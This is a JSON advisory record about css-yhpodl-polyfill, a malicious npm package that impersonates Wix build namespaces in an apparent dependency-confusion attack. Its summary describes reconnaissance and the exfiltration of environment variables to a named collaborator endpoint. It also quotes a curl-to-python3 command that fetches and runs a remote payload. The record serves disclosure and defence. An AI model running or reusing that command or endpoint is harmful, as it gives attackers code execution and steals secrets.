{"items":[{"id":"NVI-00010803","kind":"supply_chain_event","title":"Malicious code in css-yhpodl-polyfill (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-2jxx-gxxm-qqfv"],"plain_summary":"GitHub lists this malware advisory for css-yhpodl-polyfill. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-0fd27aa4f66e54950a34a0fac4680fa6"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-0fd27aa4f66e54950a34a0fac4680fa6","url":"https://github.com/advisories/GHSA-2jxx-gxxm-qqfv","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-2jxx-gxxm-qqfv","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T23:13:05.881Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-0fd27aa4f66e54950a34a0fac4680fa6"],"technology":"css-yhpodl-polyfill","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (5936fc65b4eba7b461c0eef7b66dfeecdc2da412f54fd667873e3e6950b0a857)\ncss-yhpodl-polyfill ships thunderboltRegistry.js which, as an IIFE executed on require, runs shell reconnaissance (`id`, `whoami`, `env`, `ifconfig`/`ip addr`, hostname) via child_process.execSync and sends the collected host identity and full environment variables via GET to the hardcoded Burp Collaborator OAST endpoint https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The same file executes `curl -L https://appsecc.com/py | python3`, piping an attacker-controlled remote Python payload into python3 for arbitrary code execution on the installer host. The package name and exported identifiers (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry) impersonate Wix's internal thunderbolt namespace, and registry-manifest.min.json references parastorage.com (Wix CDN) — the shape of a targeted dependency-confusion attack against the Wix engineering build pipeline. Installing or requiring this package exfiltrates environment secrets and grants remote code execution to the attacker.\n\n---\n\nCredit: [OpenSSF](https://github.com/ossf/malicious-packa","public_affected_ranges":["= 1.0.0"]}],"null_published_at":"2026-10-31T23:18:22.388Z","source_updated_at":"2026-10-05T18:34:14.000Z","source_disclosed_at":"2026-10-05T18:34:13.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T23:13:05.881Z"}],"next_cursor":null,"snapshot_revision":"40769"}